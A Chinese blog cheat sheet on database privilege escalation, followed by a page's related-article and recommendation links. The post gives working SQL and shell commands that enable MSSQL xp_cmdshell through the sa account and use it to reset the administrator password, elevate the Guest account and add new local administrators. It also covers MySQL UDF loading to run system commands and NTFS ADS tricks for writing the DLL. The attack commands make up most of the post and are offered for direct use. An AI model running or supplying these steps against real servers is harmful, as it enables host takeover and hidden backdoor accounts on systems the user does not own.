【汇总】数据库提权(mysql、mssql)
日期:2018-04-03 11:46:45
作者:Bay0net
介绍:利用 mssql 的 sa 账号提权、利用 MySQL 的 UDF 提权
0x01、mssql 提权
恢复 xp_cmdshell
几个命令
# 查看是否存在 xp_cmdshell(返回非 0 即存在)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
# 不存在的话可以添加
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
# 查看是否开启了 xp_cmdshell(试试命令是否能成功)
Exec master..xp_cmdshell 'whoami';
命令执行
利用 sa 连接到服务器,然后执行命令
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
提示成功

然后利用 sqltools 直接执行命令。

也可以用 SQL 语句来执行命令,三种方式,一般都喜欢用第二种。
exec xp_cmdshell 'command';
exec master..xp_cmdshell 'command';
exec master.dbo.xp_cmdshell 'command';
修改 administrators 的密码,比较方便
exec xp_cmdshell 'net user administrator test123...';
修改 Guest 的权限
exec xp_cmdshell 'net user Guest test123...';
exec xp_cmdshell 'net user Guest /active:yes';
exec xp_cmdshell 'net localgroup administrators Guest /add';
新建用户
exec master..xp_cmdshell 'net user test test123... /add';
exec master..xp_cmdshell 'net localgroup administrators test /add';
0x02、MySQL 提权
上传 UDF
这一步和 MySQL 的版本有关系,不同版本上传的路径不一样,没有 lib 文件的话需要新建。
# 版本小于 5.1,上传到系统目录下
C:\\WINDOWS\\udf.dll
C:\\WINDOWS\\system32\\udf.dll
# 版本大于 5.1,上传到安装目录下
%mysql%\\plugin\\udf.dll
# 查询路径,后面加 udf.dll 即可
select @@plugin_dir
# 常用
# 查询用户
select user()
# 查询数据库版本
select version()
# 查询当前操作系统
select @@version_compile_os
# 查询读取数据库路径
select @@datadir
# 查询MYSQL安装路径
select @@basedir
# 查询 plugin 的路径
select @@plugin_dir
命令执行
Create Function cmdshell returns string soname 'udf.dll';
select cmdshell('ipconfig');
drop function cmdshell;
delete from mysql.func where name='cmdshell'
可以直接 UDF 提权工具搞,新建用户然后直接 3389 即可。
利用 NTFS ADS 写文件
使用 NTFS ADS 流创建 lib、plugin 文件夹:
如果遇到 Can't open shared library 的情况,
就需要把 udf.dll 导出到 lib\plugin 目录下才可以,但是默认情况下 plugin 不存在,就利用 NTFS ADS 流来创建文件夹。
select @@basedir; //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。
【汇总】数据库提权(mysql、mssql)的更多相关文章
- MySQL数据库提权(一)
一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql. ...
- mssql数据库提权(xp_cmdshell)
1.关于 "xp_cmdshell" "存储过程":其实质就是一个"集合",那么是什么样的结合呢,就是存储在SqlServer中预先定义好的 ...
- [提权]mysql中的UDF提权
由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...
- Oracle数据库提权(dba权限执行系统命令)
0x01 提权准备 这里我们先创建一个低权限的用户test SQL> conn sys/admin123@orcl as sysdba; 已连接. SQL> create user tes ...
- Oracle数据库提权(低权限提升至dba)
0x01 Oracle存储过程”缺陷” 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创建者的权限,而 in ...
- Oracle数据库提权
一.执行java代码 简介 oracle提权漏洞集中存在于PL/SQL编写的函数.存储过程.包.触发器中.oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者 ...
- (数据库提权——Redis)Redis未授权访问漏洞总结
一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...
- mssql数据库提权
1.关于 “xp_cmdshell” “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写 ...
- 【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)
4.数据库安全基础 4.1.MSSQL 数据库角色权限 sysadmin:执行SQL Server中的任何动作 db_owner:可以执行数据库中技术所有动作的用户 public:数据库的每个合法用户 ...
随机推荐
- 关于TAILQ链表节点删除问题
这两天偶遇无线驱动中对链表节点删除的问题,刚开始修改代码的时候并没有很在意,把TAILQ链表当成一般的链表来处理,虽然修改以后没有出现段错误,但是后面review代码的时候发现,这样改不对.后面花了点 ...
- golang 数组之间的交集,差集,并集,补集
今天公司需求两个数组之间的差集,类库下不下来,就独立出来了一份,希望读者有用 package model import ( "sort" "sync" ) ty ...
- Netty TCP 通信失败
前段时间,在搞Netty TCP 通信,踩了一些坑,今天就在这篇总结一下 Netty通信失败原因 Netty TCP 通信失败的可能原因: 1.服务端或客户端,其中一端没有正常启动 2.是否在正确的位 ...
- React造轮子:拖拽排序组件「Dragact」
先来一张图看看: 项目地址:Github地址 (无耻求星!) 在线观看(第一次加载需要等几秒):预览地址 说起来不容易,人在国外没有过年一说,但是毕竟也是中国年,虽然不放假,但是家里总会主内一顿丰盛的 ...
- 炫酷CSS3垂直时间轴特效
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 【C#-程序时间计数器】如何计算某些步骤/过程耗时多少?
使用Stopwatch对象,TimeSpan对象 Stopwatch sw = new Stopwatch();//跑表,该类可以进行时间的统计 命名空间using System.Diagnostic ...
- React事件,修改this.state的值
1.React中绑定事件 React中绑定事件格式: onClick = { function } React中绑定事件的标准用法: import React from 'react' export ...
- K8s中RS和Deployment
什么是ReplicaSet? ReplicaSet是下一代复本控制器.ReplicaSet和 Replication Controller之间的唯一区别是现在的选择器支持.Replication Co ...
- carographer流程
node_main.cc 93 Run启动 58 Node初始化 64 node.StartTrajectoryWithDefault ...
- vue 钩子函数的使用
1.什么是自定义指令,有哪些钩子函数及自定义指令的使用场景 ①自定义指令是什么?以及自定义指令的使用场景 在Vue中,有很多内置指令,但是这些指令只能满足我们最基础的使用,当我们在实际项目中遇到了必须 ...